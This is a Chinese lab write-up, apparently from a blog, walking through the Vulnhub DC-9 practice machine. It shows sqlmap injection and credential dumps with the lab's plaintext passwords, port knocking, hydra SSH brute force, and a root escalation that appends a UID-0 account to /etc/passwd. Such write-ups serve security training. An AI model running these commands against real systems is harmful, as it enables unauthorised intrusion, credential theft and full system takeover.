Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权
一、环境搭建
选择扫描虚拟机

选择靶机路径

如果出现以下信息

如下修改,修改和虚拟机一样的版本

二、信息收集
扫ip
nmap -sn 192.168.108.0/24
得到靶机ip:192.168.108.143

扫开放端口
nmap -p 1-65535 192.168.108.143
只开放了两个端口

信息如下
22/tcp filtered ssh #filtered是“过滤的”,意味着网络防火墙或其他安全设备正在阻止对该端口的访问,或者没有响应
80/tcp open http
扫版本服务信息
nmap -sV 192.168.108.143
得到以下信息

信息如下
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian)) #web的Apache服务版本
指纹探测
执行以下命令
nmap 192.168.108.143 -p 22,80 -sV -sC -O --version-all

可用信息:
运行系统:linux 3.x|4.x
操作系统CPE:cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
操作系统内核:linux 3.2-4.9
目录扫描
先用dirsaerch扫描

看看dirb扫描

整理一下可用信息
http://192.168.108.143/config.php //配置文件
http://192.168.108.143/display.php //副页面
http://192.168.108.143/includes
http://192.168.108.143/logout.php //登出界面
http://192.168.108.143/manage.php //管理界面-登录框
http://192.168.108.143/search.php //搜索界面
http://192.168.108.143/index.php //主界面
三、Web渗透
看看80端口,是如下一个界面

访问这几个页面以及上面扫描出来的目录,只有search和manage界面有可用信息,在manage界面存在一个登录框,尝试弱口令和万能密码无果

只能在search界面试试,这里搜索需要使用第二个界面的内容

当我们搜索Tom时,会出现一下信息,应该是调用了数据库信息然后给我们的回显,那么可能存在SQL注入

SQL注入
当我们输入Tom' or '1'='1时,存在sql注入

抓包看看,得到search参数

创建一个DC9.txt,将数据包内容输入进去,然后利用sqlmap跑出数据库
sqlmap -r DC9.txt --dbs
得到3个数据库

这里先看看Staff数据库,拿到两个数据表

看看Users表中的列

看看数据表内容
sqlmap -r DC9.txt -D Staff -T Users --dump
拿到一个管理员账号密码
password 'transorbital1' for user 'admin'

拿到的数据库
数据库:information_schema,Staff,users
看看users库

看看该表的列

看看表中数据
sqlmap -r DC9.txt -D users -T UserDetails --dump

将用户名和密码单独列出来
sqlmap -r DC9.txt -D users -T UserDetails -C username --dump
sqlmap -r DC9.txt -D users -T UserDetails -C password --dump
用户名
marym
julied
fredf
barneyr
tomc
jerrym
wilmaf
bettyr
chandlerb
joeyt
rachelg
rossg
monicag
phoebeb
scoots
janitor
janitor2
密码
3kfs86sfd
468sfdfsd2
4sfd87sfd1
RocksOff
TC&TheBoyz
B8m#48sd
Pebbles
BamBam01
UrAG0D!
Passw0rd
yN72#dsd
ILoveRachel
3248dsds7s
smellycats
YR3BVxxxw87
Ilovepeepee
Hawaii-Five-0
登录后台
成功登录进去,但是在此处发现一个文件不存在,可能存在文件包含

试试目录遍历,拿到了很多用户名信息

端口敲门服务
参考文章:https://www.cnblogs.com/wsjhk/p/5508051.html
随便拿一个上面爆破出的账号密码登录一下,发现22端口无法正常使用

这里需要了解一个知识点,端口敲门服务
端口敲门(Port Knocking)是一种安全机制,用于在防火墙上动态地打开特定端口,以便允许特定的网络流量通过。这种技术通常用于增强服务器的安全性,特别是在需要远程访问(如 SSH)时。
看看其配置文件,得到敲门序列:sequence = 7469,8475,9842

这里有几种方法,比如使用nc工具一个一个连接,或者下载knock工具,对获取的端口(开门密码)实现碰撞,必须按照序列进行连接
apt install knock
knock 192.168.108.143 7469 8475 9842
然后看看端口开放状态,成功开启端口

ssh爆破
这里需要使用hydra工具
Hydra 是一个非常流行的开源密码破解工具,广泛用于进行暴力破解和字典攻击。它支持多种协议和服务,包括 HTTP, FTP, SSH, Telnet, SMTP, POP3, IMAP 等等。Hydra 的灵活性和强大的功能使其成为渗透测试和安全评估中的重要工具
kali通常是预装的,准备一个用户名表和密码表

利用hydra进行爆破
hydra -L user.txt -P passwd.txt ssh://192.168.108.143
拿到以下信息
login: chandlerb password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee
四、提权
ssh登录寻找信息
chandlerb
没有什么可用信息

joeyt
也是没什么有用信息

janitor
发现一个目录,里面有一个密码文件

放到原先的密码表,再使用hydra爆破一处,拿到一个新账户
login: fredf password: B4-Tru3-001
利用新账户登录
发现一个无需root权限可用使用的文件,/opt/devstuff/dist/test

执行该文件,发现如下信息

在/opt/devstuff目录下发现test.py

查看该文件

#!/usr/bin/python
import sys
if len (sys.argv) != 3 : #检查命令行参数数量
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r") #将第一个参数可读
output = (f.read())
f = open(sys.argv[2], "a") #将第一个参数的内容追加到第二个参数
f.write(output)
f.close()
这里举个例子,如果我们执行 ./test.py 1.txt 2.txt,那么程序会把1.txt的内容追加到2.txt,因为这个脚本是以root权限运行的,所以我们可以利用它追加账户密码到/etc/passwd中
追加账户密码提权
先使用openssl生成一个密码

然后将密码写入一个文件
track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash
echo "track:$1$lPvyU8TX$Da4wA8ijXmhJGCWUmt5Kj0:0:0::/root:/bin/bash" > /tmp/a.txt
将文件写入/etc/passwd
sudo /opt/devstuff/dist/test/test /tmp/a.txt /etc/passwd
然后登录即可
sudo track
密码:track
Vulnhub-DC-9靶机-SQL注入拿到账户+利用端口敲门连接ssh+信息泄露利用root脚本追加提权的更多相关文章
- 安全测试基础-SQL注入详解
1:什么是SQL注入 SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行. www.xx.com/news.php?id=1 ...
- Vulnhub实战-Dockhole_2靶机👻
Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...
- DC 1-3 靶机渗透
DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...
- 防御sql注入
1. 领域驱动安全 领域驱动安全是一种代码设计方法.其思想是将一个隐式的概念转化为显示,个人认为即是面向对象的方法,将一个概念抽象成一个类,在该类中通过方法对类的属性进行约束.是否是字符串,包含什么字 ...
- SQL注入—我是如何一步步攻破一家互联网公司的
最近在研究Web安全相关的知识,特别是SQL注入类的相关知识.接触了一些与SQL注入相关的工具.周末在家闲着无聊,想把平时学的东东结合起来攻击一下身边某个小伙伴去的公司,看看能不能得逞.不试不知道,一 ...
- SQL注入技术专题—由浅入深【精华聚合】
作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23569276来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 不管用什么语言编写的Web应用 ...
- mysql基础语法及拓展到web中的sql注入
本来是想写下javaweb的mvc(tomcat, spring, mysql)的搭建, 昨天搭到凌晨3点, 谁知道jdbcTemplate的jar包不好使, 想死的心都有了, 想想还是休息一下, ...
- sqlmap查找SQL注入漏洞入门
1.安装sqlmap sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.注意:sqlmap只是用来检测和利用sql注入点的,使用前请先使用扫描工具扫出sql注入点 ...
- SQL注入攻击
SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候, ...
- SQL注入实验,PHP连接数据库,Mysql查看binlog,PreparedStatement,mysqli, PDO
看到有人说了判断能否sql注入的方法: 简单的在参数后边加一个单引号,就可以快速判断是否可以进行SQL注入,这个百试百灵,如果有漏洞的话,一般会报错. 下面内容参考了这两篇文章 http://blog ...
随机推荐
- cookie session token 发展史(便于理解jwt)
目录 一.cookie session token 发展史(彻底理解cookie,session,token,便于理解jwt) 1.Cookie,Session,Token发展史 2.Cookie,S ...
- Linux命令行/终端连接(隐藏)SSID的WiFi
推荐看完Linux命令行/终端连接隐藏SSID的WiFi(续篇)和本文后,再按照实际情况采用network-manager或者ifupdown 多数Linux系统默认自带有线网络的驱动和配置软件,但是 ...
- 03-FTP和TFTP命令
http://www.h3c.com/cn/d_202101/1375275_30005_0.htm 1 FTP 1.1 FTP服务器配置命令 1.1.1 display ftp-server 1.1 ...
- Qt/C++开发经验小技巧296-300
使用QDir::setCurrent设置当前目录后,会影响程序中的所有相对目录的执行,导致可能的意外发生,一般相对目录都默认是可执行文件所在目录,所以如果程序中为了特殊处理临时调用了QDir::set ...
- Qt开源作品26-通用按钮地图效果
一.前言 在很多项目应用中,需要根据数据动态生成对象显示在地图上,比如地图标注,同时还需要可拖动对象到指定位置显示,能有多种状态指示,安防领域一般用来表示防区或者设备,可以直接显示防区号,有多种状态颜 ...
- 用 Ingram 和 masscan 来扫描全网存在漏洞的camera
前言 大学的时候也写过和Ingram差不多的工具,不过那时候已经玩到没有兴致了,代码已不知道哪里去.没想到在Github看到了这个工具,实现思路和我的几乎一样,互联网就是这么神奇. Ingram的Gi ...
- Web网页端IM产品RainbowChat-Web的v6.0版已发布
一.关于RainbowChat-Web RainbowChat-Web是一套Web网页端IM系统,是RainbowChat的姊妹系统(RainbowChat是一套基于开源IM聊天框架 MobileIM ...
- 不为人知的网络编程(十二):彻底搞懂TCP协议层的KeepAlive保活机制
文中引用了参考资料中的部分内容,本文参考资料详见文末"参考资料"一节,感谢资料分享者. 1.引言 对于IM开发者而言,网络保活这件事再熟悉不过了,比如这是我最近一篇有关网络保活话题 ...
- python连接pgsql&mysql
1.python连接pgsql import psycopg2 def connect_pgsql(list_sql): conn = psycopg2.connect(host='db_host', ...
- python SQLAlchemy ORM——从零开始学习03 如何针对数据库信息进行排序
03 如何进行排序 3-1准备工作: 因为要排序,所以需要随机多谢数据,model见后文.也需要random进行随机 from model import User, Engine from sqlal ...